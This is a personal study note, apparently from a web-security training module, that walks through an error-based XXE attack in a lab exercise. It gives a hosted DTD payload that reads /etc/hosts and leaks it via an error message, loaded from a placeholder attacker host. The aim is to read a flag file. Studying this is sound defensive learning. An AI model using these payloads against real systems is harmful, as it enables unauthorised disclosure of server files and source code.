---
title: "8. XXE - Error-based XXE"
date: 2024-12-30
draft: false
---


Web application may not actually write any output, and we cannot control any of the XML input entities to write its content. In such cases, we would be blind to XML output and would not be able to retrieve file content using previous methods. 

If webapplication displays runtime errors i.e. PHP errors, and does not have proper exception handling for XML input - we can use this flaw to read the output of the XXE exploit. If webapp neither writes XML output NOR displays any errors we would face a completely blind situation - discussed soon after this mod. 

 Consider exercise we have in `/error` - where none of the XML input entities is displayed on screen. 
- No entity we can control to write file output

1. Attempt to send malformed XML data see if webapp displays errors 
	1. Delete closing tags
	2. Change them so it does not close (`<roo>` instead of `<root>` etc.
	3. Reference non-existing entity

We will observe this does cause webapp to display an error - and reveals webserver directory, which is usable to read source code of other files. 

![](/img/Pasted image 20241230162607.png)


**Exploiting this flaw to exfiltrate file content**: 
- Host DTD file that contains the below payload: 

```xml
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
```

- Above payload will DEFINE the `file` PARAMETER 
- JOIN it with an entity that DOES NOT exist. 
- Web application will throw an error saying this entity does not exist along with our joined `%file` - as part of the error. 
- There are many other variables that can cause an error like a bad URI or having bad characters in the referenced file. 
- Call external DTD script and reference the `error` entity as follows: 

```xml
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>
```

Once we host DTD script as we did earlier in [[7. XXE - Advanced file disclosure - CDATA tags]] and send above payload as our XML data we will get content of /etc/hosts for example. 

This method may also be used to read the source code of files (i.e., not just etc/hosts )

![](/img/Pasted image 20241230165256.png)
![](/img/Pasted image 20241230165300.png)

Mod asks us to read /flag.php 

![](/img/Pasted image 20241230165430.png)
![](/img/Pasted image 20241230165446.png)
